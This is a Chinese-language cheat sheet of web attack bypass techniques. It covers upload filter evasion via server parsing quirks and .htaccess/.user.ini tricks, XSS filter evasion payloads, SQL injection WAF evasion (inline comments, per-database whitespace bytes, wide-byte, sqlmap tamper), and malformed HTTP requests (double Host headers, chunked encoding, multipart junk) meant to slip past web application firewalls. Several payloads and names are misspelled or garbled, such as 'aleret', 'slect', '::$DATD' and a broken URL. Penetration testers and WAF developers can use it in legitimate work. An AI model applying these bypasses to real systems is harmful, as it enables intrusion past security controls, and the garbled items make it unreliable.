Bypass部分知识
Upload:
容器特性:
Apache1.X/2.X 从后向前识别,直到可识别的扩展名 x.php.asd
IIS6 目录为*.asp/*.asa等可被IIS动态执行的扩展名 /2.asp/1.jpg
IIS7&7.5 / <=Nginx0.8.3 上传1.jpg 访问1.jpg/.php
Nginx 0.8.41 - 1.5.6 上传shell.php 访问shell.jpg%20.php
操作系统特性:
Windows会去掉尾部的.shell .php等
shell.php::$DATD
处理方法:
检查文件扩展名
文件内容
文件contenttype
图片标头
黑名单:
asp 、php、jsp等
可通过fuzz上传不在黑名单的冷门扩展名
上传.htaccess
上传.user.ini
白名单:
jpg、png、doc等
%00 web容器/系统特性绕过
避开常用代码,使用混淆、冷门函数、反射机制等方法绕过
其他绕过:
双上传
在boundary加一些字符
在content-dispostition中添加字符
超长文件名
修改content-length
文件名中夹杂小语种或非英语字符
XSS:
常规绕过:
scrscriptipt
大小写绕过
DOM XSS无视后端绕过
替换为HTML实体编码
AJAX中的响应为JSON可以考虑使用Unicode编码
尝试使用POST或其他类型请求
字符串拼接
字符串反转
利用web容器特性
参数污染
'或"被转义:
宽字节逃逸
String.fromCharCode
jsfuck
eval
在标签属性中可以不使用
空格被过滤:
%0D
%0A
+
标签中可用/
限制长度:
多段提交 part1:<script>/* part2:*/a=1</script>
<svg/οnlοad=aleret(1)>
短域名:
https://wooyun.js.org/drops/%6E7%9F%AD%E5%9F%9F%E5%90%8D%E8%BF %9B%E5%68C%96%E59%8F6B2.html
短链接://t.cn/xxxx
<>被过滤:
在可执行事件标签中或script 内无需绕过
Unicode u003cu003e
SQL注入:
特性:
a=1&a='or'1'='1
编码之后提交(不是所有)s%u0065lect
使用multipart 方式提交
sqlserver 可以使用分号;结束命令
mysql可以使用内联注释/*!50000select*/
绕过:
宽字节
二次注入
/**/
--
#
-- +
特殊字符 如%00 %0d %0a
空白字符:
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17, 18,19,1A,1B,1C,1D,1E,1F,20
union(slect)
select all{x users}from{x ddd}
超长注入命令
插入emoji / 小语种文字等字符
使用sqlmap tamper
一些常用注入关键字
使用冷门函数语法
科学计数语法 如 8e0union
绕过云WAF ,找到真是IP注入
冷门:
添加一个换行符在第一行:
GET /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
用小写:
get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
在方法之前加TAB:
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
GET /login.php?pam_param=test1&pam[param=test2&pam%5bparam=test3
使用绝对URL:
GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
双HOST头:
GET /login.php HTTP/1.1
Host: favoritewaf.com
Host:localhost
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
小写host:
GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
去掉HOST的空格:
GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
在HOST中加一个TAB:
GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;
Windows NT)
Content-Type加一些字符:
POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0(compatible; MSIE5.01;Windows NT)
Content-Type: application/another-text/+++x-www-form-urlencoded
hello=world
multipart插入脏数据:
Content-Type: multipart/form-data; boundary=x
--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"
world
Transfer chunked攻击:
Content-Type: applicationlx-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked
3
hel
3
lo=
3
wor
2
ld
0
结尾:部分Bypass,不足之处还请见谅。